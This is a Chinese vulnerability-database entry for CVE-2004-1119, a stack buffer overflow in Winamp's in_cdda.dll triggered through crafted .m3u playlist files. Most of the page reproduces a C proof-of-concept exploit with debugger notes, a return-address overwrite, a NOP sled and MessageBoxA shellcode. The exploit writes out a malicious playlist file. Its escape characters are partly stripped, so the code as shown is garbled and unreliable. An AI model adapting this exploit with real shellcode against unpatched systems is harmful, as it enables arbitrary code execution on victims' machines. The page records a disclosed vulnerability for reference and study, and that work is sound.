Winamp in_cdda.dll 缓冲区溢出漏洞

Winamp in_cdda.dll 缓冲区溢出漏洞

漏洞ID 1108303 漏洞类型 缓冲区溢出
发布时间 2004-11-24 更新时间 2005-10-20
图片[1]-Winamp in_cdda.dll 缓冲区溢出漏洞-安全小百科CVE编号 CVE-2004-1119
图片[2]-Winamp in_cdda.dll 缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200501-147
漏洞平台 Windows CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/654
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200501-147
|漏洞详情
Winamp是一款流行的媒体播放程序。Winamp5.05版本中IN_CDDA.dll存在堆栈溢出漏洞,5.06版本中可能也存在同样问题。远程攻击者可利用特殊构造的.m3u播放列表文件执行任意代码。
|漏洞EXP
/* 

Credits go to the author

How to fix and study the bug:

* - The cdda library only reserves 20 bytes for names when files are "*.cda"
* - run Winamp with ollye
* - when loaded locate and break at:

10009BBB 8D4C24 20 LEA ECX,DWORD PTR SS:[ESP+20]
10009BBF 84C0 TEST AL,AL
10009BC1 74 0F JE SHORT in_cdda.10009BD2
10009BC3 3C 2E CMP AL,2E
10009BC5 74 0B JE SHORT in_cdda.10009BD2

that code copies and overwrites the stack if no '.' is found in the 
first 20 bytes of the m3u entry. Entry must not have #EXTINF data or 
it won't resolve.

* - name that entry like "C:\1234567890abXXXX.cda" and xxxx will be your return address. 
stack will be overwritten and exception occurs. When going out of that exception you'll be launched to padding.
* - look for .data section of in_cdda.dll and locate the shellcode or string, and update if needed the
field Location of shellcode (see host info). In my case it's x1002355b.
*/


#include <stdio.h> //File ops.

//m3u File format
//http://hanna.pyxidis.org/tech/m3u.html

// Host info:
// Name=ntdll (system)
// File version=5.1.2600.1217 (xpsp2.030429-213)
// Path=H:WINDOWSSystem32ntdll.dll

// Name=in_cdda
// Base=10000000 
// Size=00031000 (200704.)
// Entry=1000CE1A in_cdda.<ModuleEntryPoint> 
// Path=H:Archivos de programaWinampPluginsin_cdda.dll

#define HEADER "#EXTM3Un"

//Simple MessageBox Shellcode spanish XP Pro: xpsp2.030429-213 
//Address of MessageBoxA in xpsp2.030429-213: 77D3b064
char shellcode[]= 
"C:\1234567890ab" //Padding
"x5bx35x02x10" //Location of shellcode : +-x10 bytes
"x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90xB8"
"x75xC1xe4x88" //Address of MessageBoxA + 0x11111111
"x2Dx11x11x11x11x50x59x33xc0x50x68x42x6f"
"x6fx6dx54x5ax50x50x52x50x53x51xc3.cdanr";

//Shellcode:
//B8 75C1e488 MOV EAX,88e4C175 ; MessageBoxA + 0x11111111 to
//2D 11111111 SUB EAX,11111111 ; Make characters readable
//50 PUSH EAX ; xchg registers : eax = 77D3b064
//59 POP ECX ; Offset to API.
//33C0 XOR EAX,EAX ; Create Null
//50 PUSH EAX ; Put ascii0 end of string
//68 61616161 PUSH 6d6f6f42 ; Create string.
//54 PUSH ESP ; Get the offset to the 
//5A POP EDX ; Message String
//MessageBox call
//50 PUSH EAX ; Null Pointer
//50 PUSH EAX ; Null Pointer
//52 PUSH EDX ; Message
//50 PUSH EAX ; Null Pointer
//53 PUSH EBX ; Return address: 0x00000000
//51 PUSH ECX ; Address of MessageBoxA
//C3 RETN ; Jump 


int main(int argc, char* argv[]) {
FILE *fp;
char *sc=(char *)malloc(sizeof(shellcode)+1);

printf ("winamp 5.x m3u parsing poc - advisorie by Brett Mooren");
printf ("Exploit : www.k-otik.com/exploits/20041124.winampm3u.cn");
printf ("Simple MessageBox Shellcode spanish XP Pro: xpsp2.030429-213n");
printf ("Address of MessageBoxA in xpsp2.030429-213: 77D3b064n");
printf ("Tested on Winamp 5.02nn");

if (sc == NULL) {
printf ("malloc errorn");
return -1;
}

memset(sc,'',sizeof(sc));
memcpy(sc, shellcode, sizeof(shellcode) );

fp = fopen ("test.m3u","w+");
if (!fp) {
printf (" error opening file.n");
return -1;
}

fwrite (HEADER, 1, strlen (HEADER), fp);
fwrite (sc , 1, strlen(sc) , fp);
fclose (fp);

printf ("file test.m3u created. Just double click it.n");
return 0;

}

// milw0rm.com [2004-11-24]
|参考资料

来源:US-CERT
名称:VU#986504
链接:http://www.kb.cert.org/vuls/id/986504
来源:BID
名称:11730
链接:http://www.securityfocus.com/bid/11730
来源:XF
名称:winamp-incddadll-bo(18197)
链接:http://xforce.iss.net/xforce/xfdb/18197
来源:MISC
链接:http://www.security-assessment.com/Papers/Winamp_IN_CDDA_Buffer_Overflow.pdf
来源:SECUNIA
名称:13269
链接:http://secunia.com/advisories/13269/
来源:BUGTRAQ
名称:20041123Winamp-BufferOverflowInIN_CDDA.dll
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110123330404482&w;=2
来源:BUGTRAQ
名称:20041126Re:Winamp-BufferOverflowInIN_CDDA.dll[Unpatched
链接:http://archives.neohapsis.com/archives/bugtraq/2004-11/0369.html
来源:NTBUGTRAQ
名称:20041124Winamp-BufferOverflowInIN_CDDA.dll[Unpatched]
链接:http://marc.theaimsgroup.com/?l=ntbugtraq&m;=110135574326217&w;=2
来源:NTBUGTRAQ
名称:20041123Winamp-BufferOverflowInIN_CDDA.dll
链接:http://marc.theaimsgroup.com/?l=ntbugtraq&m;=110126352412395&w;=2
来源:BUGTRAQ
名称:20041124Winamp-BufferOverflowInIN_CDDA.dll[Unpatched]
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=1101460363008

相关推荐: Microsoft Windows NT 4.0 / 2000 Ignored SMB Response DoS Vulnerability

Microsoft Windows NT 4.0 / 2000 Ignored SMB Response DoS Vulnerability 漏洞ID 1104128 漏洞类型 Failure to Handle Exceptional Conditions …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享